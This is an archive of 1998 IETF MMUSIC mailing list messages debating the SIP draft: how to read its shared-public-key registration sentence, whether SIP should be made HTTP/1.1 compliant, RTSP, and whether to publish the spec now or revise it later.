Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA06295
	for confctrl-outgoing; Tue, 28 Apr 1998 21:32:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA06290
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 21:32:18 -0700 (PDT)
Received: from freya.cs.umass.edu (freya.cs.umass.edu [128.119.40.195])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA16730
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 21:32:10 -0700 (PDT)
Received: from opine.cs.umass.edu (opine.cs.umass.edu [128.119.41.246])
	by freya.cs.umass.edu (8.8.7/8.8.7) with SMTP id AAA18393;
	Wed, 29 Apr 1998 00:31:54 -0400
Message-ID: <3546AD39.2781@cs.umass.edu>
Date: Wed, 29 Apr 1998 00:31:53 -0400
From: Lewis McCarthy <lmccarth@cs.umass.edu>
Organization: UMass-Amherst Theoretical Computer Science Group, <http://www.cs.umass.edu/~thtml/>
X-Mailer: Mozilla 3.01Gold (X11; U; OSF1 V4.0 alpha)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: MMUSIC List <confctrl@ISI.EDU>
Subject: Re: 4.2.5 Register Re: General Comments on the SIP Protocol
References: <3FF8121C9B6DD111812100805F31FC0D02971262@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[It took me a little while to realize that the SIP draft you're reviewing
(-05, I guess) is not the version available at www.ietf.org -- the latest
there is -04.]

Yaron Goland writes:
> 4.4 4.2.6 Register
> 
> What is the point of the broadcasted public key? Since you have nary a clue
> whose public key has been broadcasted this doesn't seem to be a good idea
> from a security point of view.

Sec 4.2.5 says that

   A site MAY wish to advertise a common public key for all local proxies to 
   allow users to encrypt their registration for privacy.

I take this to mean that a sysadmin may configure all the proxies in the
administrative domain with a single public key, and then notify all users
in that domain of that key out-of-band (w.r.t. SIP). Thus REGISTERs can be 
kept confidential from other users on the local subnet. I don't see this
local key distribution as part of the SIP protocol per se.

-- 
Lewis    http://www.cs.umass.edu/~lmccarth/

From confctrl-owner  Tue Apr 28 22:10:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA07087
	for confctrl-outgoing; Tue, 28 Apr 1998 22:10:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA07081
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 22:10:56 -0700 (PDT)
Received: from mail1-b.microsoft.com (mail1-b.microsoft.com [131.107.3.125])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA17766
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 22:10:55 -0700 (PDT)
Received: by INET-IMC-01 with Internet Mail Service (5.5.2166.0)
	id <JP42NFJL>; Tue, 28 Apr 1998 22:10:24 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971274@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Lewis McCarthy'" <lmccarth@cs.umass.edu>
Cc: MMUSIC List <confctrl@ISI.EDU>
Subject: RE: 4.2.5 Register Re: General Comments on the SIP Protocol
Date: Tue, 28 Apr 1998 22:10:22 -0700
X-Mailer: Internet Mail Service (5.5.2166.0)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yeah, I'm working off the 05 draft available from
http://www.cs.columbia.edu/~hgs/sip/.

I have rewritten that section of my comments to read:

4.4 4.2.6 Register

The sentence "A site MAY wish to advertise a common public key for all local
proxies to allow users to encrypt their registration for privacy." caused me
some confusion. I only realized it meant that there may have been an out of
band transmission of a public key after that interpretation was pointed out
to me by Lewis McCarthy (lmccarth@cs.umass.edu). I would suggest rephrasing
it so as to mention that the Encryption header could be used in this
context, if a public key has been previously obtained and verified, in order
to ensure privacy. I would also remove the requirement level "MAY" as the
purpose of the sentence is to guide an implementer, not provide or remove a
restriction.


			Yaron

-----Original Message-----
From: Lewis McCarthy [mailto:lmccarth@cs.umass.edu]
Sent: Tuesday, April 28, 1998 9:32 PM
To: Yaron Goland
Cc: MMUSIC List
Subject: Re: 4.2.5 Register Re: General Comments on the SIP Protocol


[It took me a little while to realize that the SIP draft you're reviewing
(-05, I guess) is not the version available at www.ietf.org -- the latest
there is -04.]

Yaron Goland writes:
> 4.4 4.2.6 Register
> 
> What is the point of the broadcasted public key? Since you have nary a
clue
> whose public key has been broadcasted this doesn't seem to be a good idea
> from a security point of view.

Sec 4.2.5 says that

   A site MAY wish to advertise a common public key for all local proxies to

   allow users to encrypt their registration for privacy.

I take this to mean that a sysadmin may configure all the proxies in the
administrative domain with a single public key, and then notify all users
in that domain of that key out-of-band (w.r.t. SIP). Thus REGISTERs can be 
kept confidential from other users on the local subnet. I don't see this
local key distribution as part of the SIP protocol per se.

-- 
Lewis    http://www.cs.umass.edu/~lmccarth/

From confctrl-owner  Wed Apr 29 10:18:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA19250
	for confctrl-outgoing; Wed, 29 Apr 1998 10:18:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA19245
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 10:18:15 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15691
	for <confctrl@ISI.EDU>; Wed, 29 Apr 1998 10:18:12 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id TAA24024; Wed, 29 Apr 1998 19:12:26 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565F5.00647C10 ; Wed, 29 Apr 1998 20:17:33 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: yarong@microsoft.com
cc: confctrl@ISI.EDU
Message-ID: <422565F5.00479E5D.00@il4.vocaltec.co.il>
Date: Wed, 29 Apr 1998 15:02:15 +0200
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I agree with Yaron. I mean, compare the cost and effort in deploying such
firewall support compared to the cost and
effort in deploying not-quite-HTTP-compliant SIP proxies or (uh) H.323
proxies.

The main problem is getting people to allow UDP through of course, and this
is a real problem, but you can start up Iphone today via an iphone:// URL
(not standard I know) and you're pretty much left with the UDP firewall
problem. Once you configure your browser or whatever to recoginze the
iphone:// URL -- no SDP required. I'm not at all trying to push a product
(though of course if you ask ;-)....) I'm just saying that the fact that
making it truly complaint doesn't solve every single problem doesn't mean
that it doesn't have great value. (I'm at TIPHON, so I'm allowed to write a
sentence with 4 negatives in it).

BTW, Yaronushka, what about RTSP??? How close is that to real live HTTP?

Scott





yarong@microsoft.com on 04/28/98 06:13:53 PM

To:   adam.roach@ericsson.com
cc:   confctrl@ISI.EDU (bcc: Scott Petrack)
Subject:  RE: Making SIP HTTP/1.1 Compliant




I think it is plausible that a user who wants to send an invitation with
SIP
may be behind a firewall that doesn't support SIP but may support some type
of v/IP.
Imagine your network already supports vocal tech's or Intel's or someone
else's product but doesn't support SIP yet. No problem, you can still send
the invite via SIP (since it is just HTTP, assuming your admin allows users
to send out arbitrary methods) and then specify the vocal tech product as
the communication medium.
There are also other scenarios where your administrator may support both
SIP
and v/IP but their SIP proxy sucks. After all, SIP never specified how to
actually build up its networks of proxies and hook everything together. It
is like NNTP, people have to set things up by hand. If your administrator
is
lousy he may have done a bad job of it. In that case if you know a better
SIP proxy you may want to be able to skip your administrator's proxy all
together and go to another one. By using an HTTP URL the message will be
delivered to your desired proxy instead of your administrator's proxy.
Choice is a good thing.
          Yaron

-----Original Message-----
From: adam.roach@ericsson.com [mailto:adam.roach@ericsson.com]
Sent: Tuesday, April 28, 1998 8:32 AM
To: Yaron Goland
Cc: confctrl@ISI.EDU
Subject: Re: Making SIP HTTP/1.1 Compliant

>The really cool thing about adopting HTTP URLs for the request-URI is that
>Mike could send the following message:
>
>INVITE http://sipproxy.com/proxy HTTP/1.1
>From: sip://mike@nowhere.com
>To: sip://joe@somewhere.com
>
>Bam! The request goes through his HTTP/1.1 proxy to his SIP proxy at
>http://sipproxy.com/proxy and gets properly handled. Joe gets his invite
and
>everyone wins.
>
>Now, you can't tell me that isn't cool. =)
This is very interesting, but probably not practically useful (at least,
not in the context you have presented it). If a user is behind a firewall
with an HTTP proxy, but his system admins haven't made provisions for a
SIP proxy, it is unlikely that the admins have provided *any* support for
V/IP communications. I may be able to invite joe@somewhere.com through
my HTTP proxy, but frustration ensues when we are completely unable to
set up a voice channel (unless you want us to use a persistant connection
through the proxy for streaming audio -- probably a bad idea).
I do, however, agree with you that it seems unnecessary to reinvent the
wheel. If the work required to add SIP proxy functionality to an HTTP
proxy is minimal, we'll have them deployed faster. We also avoid taking
yet another port from the increasingly crowded <1024 range.
Just my 2 cents worth...
--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA






From confctrl-owner  Wed Apr 29 13:36:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26802
	for confctrl-outgoing; Wed, 29 Apr 1998 13:36:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26797
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 13:36:18 -0700 (PDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.29])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA01060
	for <confctrl@ISI.EDU>; Wed, 29 Apr 1998 13:36:17 -0700 (PDT)
Received: by INET-04-IMC with Internet Mail Service (5.5.1960.3)
	id <JVK7NNLR>; Wed, 29 Apr 1998 13:36:16 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971281@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Scott Petrack'" <Scott_Petrack@vocaltec.com>
Cc: confctrl@ISI.EDU
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
Date: Wed, 29 Apr 1998 13:36:13 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I scanned RTSP but unfortunately I don't have the time to provide a detailed
analysis. However reviewing the section on how RTSP differs from HTTP
demonstrates to me that RTSP could be made HTTP compliant with even less
effort than SIP.

To be clear, my interest in SIP has absolutely nothing to do with multimedia
over the Internet or IP telephony. My interest is strictly in the
notification, udp transport, and encryption features that SIP provides. That
is why I won't be investing time in helping RTSP become HTTP compliant.

			Yaron

-----Original Message-----
From: Scott Petrack [mailto:Scott_Petrack@vocaltec.com]
Sent: Wednesday, April 29, 1998 6:02 AM
To: Yaron Goland
Cc: confctrl@ISI.EDU
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???



I agree with Yaron. I mean, compare the cost and effort in deploying such
firewall support compared to the cost and
effort in deploying not-quite-HTTP-compliant SIP proxies or (uh) H.323
proxies.

The main problem is getting people to allow UDP through of course, and this
is a real problem, but you can start up Iphone today via an iphone:// URL
(not standard I know) and you're pretty much left with the UDP firewall
problem. Once you configure your browser or whatever to recoginze the
iphone:// URL -- no SDP required. I'm not at all trying to push a product
(though of course if you ask ;-)....) I'm just saying that the fact that
making it truly complaint doesn't solve every single problem doesn't mean
that it doesn't have great value. (I'm at TIPHON, so I'm allowed to write a
sentence with 4 negatives in it).

BTW, Yaronushka, what about RTSP??? How close is that to real live HTTP?

Scott





yarong@microsoft.com on 04/28/98 06:13:53 PM

To:   adam.roach@ericsson.com
cc:   confctrl@ISI.EDU (bcc: Scott Petrack)
Subject:  RE: Making SIP HTTP/1.1 Compliant




I think it is plausible that a user who wants to send an invitation with
SIP
may be behind a firewall that doesn't support SIP but may support some type
of v/IP.
Imagine your network already supports vocal tech's or Intel's or someone
else's product but doesn't support SIP yet. No problem, you can still send
the invite via SIP (since it is just HTTP, assuming your admin allows users
to send out arbitrary methods) and then specify the vocal tech product as
the communication medium.
There are also other scenarios where your administrator may support both
SIP
and v/IP but their SIP proxy sucks. After all, SIP never specified how to
actually build up its networks of proxies and hook everything together. It
is like NNTP, people have to set things up by hand. If your administrator
is
lousy he may have done a bad job of it. In that case if you know a better
SIP proxy you may want to be able to skip your administrator's proxy all
together and go to another one. By using an HTTP URL the message will be
delivered to your desired proxy instead of your administrator's proxy.
Choice is a good thing.
          Yaron

-----Original Message-----
From: adam.roach@ericsson.com [mailto:adam.roach@ericsson.com]
Sent: Tuesday, April 28, 1998 8:32 AM
To: Yaron Goland
Cc: confctrl@ISI.EDU
Subject: Re: Making SIP HTTP/1.1 Compliant

>The really cool thing about adopting HTTP URLs for the request-URI is that
>Mike could send the following message:
>
>INVITE http://sipproxy.com/proxy HTTP/1.1
>From: sip://mike@nowhere.com
>To: sip://joe@somewhere.com
>
>Bam! The request goes through his HTTP/1.1 proxy to his SIP proxy at
>http://sipproxy.com/proxy and gets properly handled. Joe gets his invite
and
>everyone wins.
>
>Now, you can't tell me that isn't cool. =)
This is very interesting, but probably not practically useful (at least,
not in the context you have presented it). If a user is behind a firewall
with an HTTP proxy, but his system admins haven't made provisions for a
SIP proxy, it is unlikely that the admins have provided *any* support for
V/IP communications. I may be able to invite joe@somewhere.com through
my HTTP proxy, but frustration ensues when we are completely unable to
set up a voice channel (unless you want us to use a persistant connection
through the proxy for streaming audio -- probably a bad idea).
I do, however, agree with you that it seems unnecessary to reinvent the
wheel. If the work required to add SIP proxy functionality to an HTTP
proxy is minimal, we'll have them deployed faster. We also avoid taking
yet another port from the increasingly crowded <1024 range.
Just my 2 cents worth...
--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA





From confctrl-owner  Wed Apr 29 14:05:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA00519
	for confctrl-outgoing; Wed, 29 Apr 1998 14:05:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00514
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 14:05:57 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02959
	for <confctrl@isi.edu>; Wed, 29 Apr 1998 14:05:53 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id RAA28750;
	Wed, 29 Apr 1998 17:05:22 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id RAA03761;
	Wed, 29 Apr 1998 17:05:21 -0400 (EDT)
Date: Wed, 29 Apr 1998 17:05:21 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980429170521.ZM3759@seawind.bellcore.com>
In-Reply-To: Yaron Goland <yarong@microsoft.com>
        "RE: Making SIP HTTP/1.1 Compliant -- RTSP???" (Apr 29,  1:36pm)
References: <3FF8121C9B6DD111812100805F31FC0D02971281@red-msg-59.dns.microsoft.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Yaron Goland <yarong@microsoft.com>,
        "'Scott Petrack'" <Scott_Petrack@vocaltec.com>
Subject: Re: Making SIP HTTP/1.1 Compliant -- RTSP???
Cc: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yaron,

If I understand correctly, you would mostly be intersted by an "HyperText 
Datagram Protocol", i.e. something that does HTTP over UDP.  This is
clearly a very good idea.  However, it looks a little bit like "wrong
group, wrong time" to me.

Most of the MMUSIC group's expertize is in the synchronization of
multimedia sessions.   An HTTP over UDP effort, IMHO, should include
some input from the HTTP working groups in the IETF and in the WWW
consortium.

Then, the most prominent problem that this group faces today is delay.
We have to get the damn spec out of the door, or we may as well forget
about it.  I a not sure that a fully fledged HTTP compliance effort
can be completed in an adequate time frame.

I would rather get the spec out, experiment, and maybe propose a revision
in a year.  Better still, if within a year from now we have defined
HT/UDP, then we could seriously consider drastic changes.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Wed Apr 29 15:16:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA07916
	for confctrl-outgoing; Wed, 29 Apr 1998 15:16:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07906
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 15:16:09 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA08706
	for <confctrl@ISI.EDU>; Wed, 29 Apr 1998 15:16:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Apr 29 18:15:50 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA25667;
	Wed, 29 Apr 1998 18:15:41 -0400 (EDT)
Message-ID: <3547A609.CB84E588@dnrc.bell-labs.com>
Date: Wed, 29 Apr 1998 18:13:29 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Christian Huitema <huitema@bellcore.com>
CC: Yaron Goland <yarong@microsoft.com>,
        "'Scott Petrack'" <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: Making SIP HTTP/1.1 Compliant -- RTSP???
References: <3FF8121C9B6DD111812100805F31FC0D02971281@red-msg-59.dns.microsoft.com> <980429170521.ZM3759@seawind.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> Then, the most prominent problem that this group faces today is delay.
> We have to get the damn spec out of the door, or we may as well forget
> about it.  I a not sure that a fully fledged HTTP compliance effort
> can be completed in an adequate time frame.
> 
> I would rather get the spec out, experiment, and maybe propose a revision
> in a year.  Better still, if within a year from now we have defined
> HT/UDP, then we could seriously consider drastic changes.

I couldn't agree more. Lets worry about http compliance for the next
version.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Apr 29 19:28:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA17913
	for confctrl-outgoing; Wed, 29 Apr 1998 19:28:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA17908
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 19:28:46 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA24081
	for <confctrl@ISI.EDU>; Wed, 29 Apr 1998 19:28:42 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199804300204.LAA08611@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id LAA08611; Thu, 30 Apr 1998 11:03:53 +0859
Subject: Re: Making SIP HTTP/1.1 Compliant -- RTSP???
To: huitema@bellcore.com (Christian Huitema)
Date: Thu, 30 Apr 98 11:03:52 JST
Cc: yarong@microsoft.com, Scott_Petrack@vocaltec.com, confctrl@ISI.EDU
In-Reply-To: <980429170521.ZM3759@seawind.bellcore.com>; from "Christian Huitema" at Apr 29, 98 5:05 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian;

> Most of the MMUSIC group's expertize is in the synchronization of
> multimedia sessions.

Let's not forget that MMUSIC has two Ms, and the other is for
multiparty. SIP covers multicast.

Though MMUSIC protocols, in general, are no good, the multicast
makes SIP unnecessarily complex for unicast communication, the
combination of multicast and firewall is loop prone, MMUSIC
protocols, in general, do not scale w.r.t. the number of
receivers.... There is no reason to further waste time trying
to make them worse.

> We have to get the damn spec out of the door, or we may as well forget
> about it.

IMO, The latter is the best thing to do.

> I would rather get the spec out, experiment, and maybe propose a revision
> in a year.

Considering that all the shortcoming are derived from the experiment
on a toy Mbone only to make SIP bloat, what is the point of further
experiment?

						Masataka Ohta

From confctrl-owner  Wed Apr 29 20:52:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA20791
	for confctrl-outgoing; Wed, 29 Apr 1998 20:52:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA20786
	for <confctrl@zephyr.isi.edu>; Wed, 29 Apr 1998 20:52:06 -0700 (PDT)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA28217
	for <confctrl@isi.edu>; Wed, 29 Apr 1998 20:52:05 -0700 (PDT)
Received: by INET-03-IMC with Internet Mail Service (5.5.1960.3)
	id <JT26NCA5>; Wed, 29 Apr 1998 20:52:06 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D0297128A@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'Christian Huitema'" <huitema@bellcore.com>,
        "'Scott Petrack'"
	 <Scott_Petrack@vocaltec.com>
Cc: confctrl@ISI.EDU
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
Date: Wed, 29 Apr 1998 20:52:01 -0700
X-Mailer: Internet Mail Service (5.5.1960.3)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Actually that would be third on my list. First would be notifications, which
is what SIP does. SIP likes to call it "invite" but the end result is the
same. It is the group's experience in that area that is desired.

Next on my list would be the encryption header, which were it broken out
into a separate spec could then be reused by a larger audience than just
SIP.

Last, but not least, comes UDP/Multicast.

As for "just shipping it", I sympathize. But imagine if you will the program
manager trying to convince his management to implement SIP:

"You see, we need to do notifications and there is this SIP protocol and it
does it and we should use it. Oh and um.. well o.k. the protocol is
basically identical to HTTP but not really so we have to roll our own
clients, proxies, and servers. Oh and um.. yeah.. well... you see.. um.. it
doesn't work with the currently deployed infrastructure so administrators
have to manager SIP proxies separately from their already deployed HTTP
proxies and well actually duplicate everything."

If he is lucky they won't laugh.

			Yaron

-----Original Message-----
From: Christian Huitema [mailto:huitema@bellcore.com]
Sent: Wednesday, April 29, 1998 2:05 PM
To: Yaron Goland; 'Scott Petrack'
Cc: confctrl@isi.edu
Subject: Re: Making SIP HTTP/1.1 Compliant -- RTSP???


Yaron,

If I understand correctly, you would mostly be intersted by an "HyperText 
Datagram Protocol", i.e. something that does HTTP over UDP.  This is
clearly a very good idea.  However, it looks a little bit like "wrong
group, wrong time" to me.

Most of the MMUSIC group's expertize is in the synchronization of
multimedia sessions.   An HTTP over UDP effort, IMHO, should include
some input from the HTTP working groups in the IETF and in the WWW
consortium.

Then, the most prominent problem that this group faces today is delay.
We have to get the damn spec out of the door, or we may as well forget
about it.  I a not sure that a fully fledged HTTP compliance effort
can be completed in an adequate time frame.

I would rather get the spec out, experiment, and maybe propose a revision
in a year.  Better still, if within a year from now we have defined
HT/UDP, then we could seriously consider drastic changes.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Thu Apr 30 05:08:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA28444
	for confctrl-outgoing; Thu, 30 Apr 1998 05:08:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA28439
	for <confctrl@zephyr.isi.edu>; Thu, 30 Apr 1998 05:08:06 -0700 (PDT)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17830
	for <confctrl@ISI.EDU>; Thu, 30 Apr 1998 05:08:05 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id IAA00056; Thu, 30 Apr 1998 08:06:43 -0400 (EDT)
Received: from omss5.mcit.com.mci.com (omss5.mcit.com [166.37.204.27])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id HAA19370; Thu, 30 Apr 1998 07:06:43 -0500 (CDT)
Received: from sinnreich2 ([166.41.36.85]) by omss5.mcit.com.mci.com
          (Intermail v3.1 117 241) with SMTP
          id <19980430120642.ENMU10983@[166.41.36.85]>;
          Thu, 30 Apr 1998 07:06:42 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Christian Huitema" <huitema@bellcore.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
Date: Thu, 30 Apr 1998 07:05:46 +0200
Message-ID: <000b01bd73f5$a26ee400$552429a6@sinnreich2.678.mciw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3007.0
In-Reply-To: <3547A609.CB84E588@dnrc.bell-labs.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Christian Huitema wrote:
> > 
> > Then, the most prominent problem that this group faces today is delay.
> > We have to get the damn spec out of the door, or we may as well forget
> > about it.  I a not sure that a fully fledged HTTP compliance effort
> > can be completed in an adequate time frame.
> > 
> > I would rather get the spec out, experiment, and maybe propose 
> a revision
> > in a year.  Better still, if within a year from now we have defined
> > HT/UDP, then we could seriously consider drastic changes.

Christian is right, let's lock in the progress made so far.
Quite an accomplishment, given its astonishing potential !

Henry

Henry Sinnreich
MCI, 901 International Parkway
Richardson, Texas 75082


From confctrl-owner  Thu Apr 30 19:02:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA24818
	for confctrl-outgoing; Thu, 30 Apr 1998 19:02:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA24812
	for <confctrl@zephyr.isi.edu>; Thu, 30 Apr 1998 19:02:01 -0700 (PDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01778
	for <confctrl@ISI.EDU>; Thu, 30 Apr 1998 19:01:57 -0700 (PDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199805010150.KAA11313@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id KAA11313; Fri, 1 May 1998 10:50:05 +0900
Subject: RE: Making SIP HTTP/1.1 Compliant -- RTSP???
To: henry.sinnreich@mci.com (Henry Sinnreich)
Date: Fri, 1 May 98 10:50:04 JST
Cc: huitema@bellcore.com, confctrl@ISI.EDU
In-Reply-To: <000b01bd73f5$a26ee400$552429a6@sinnreich2.678.mciw>; from "Henry Sinnreich" at Apr 30, 98 7:05 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henry;

> Christian is right, let's lock in the progress made so far.
> Quite an accomplishment, given its astonishing potential !
> 
> Henry

Just consider internet telephoney, first.

There are two ways to evaluate an accomplishment.

One is to favour the thick document and rich features and
astonishing potential of its own.

Here, H.323 is THE accomplishment. If you mind that H.323 consume
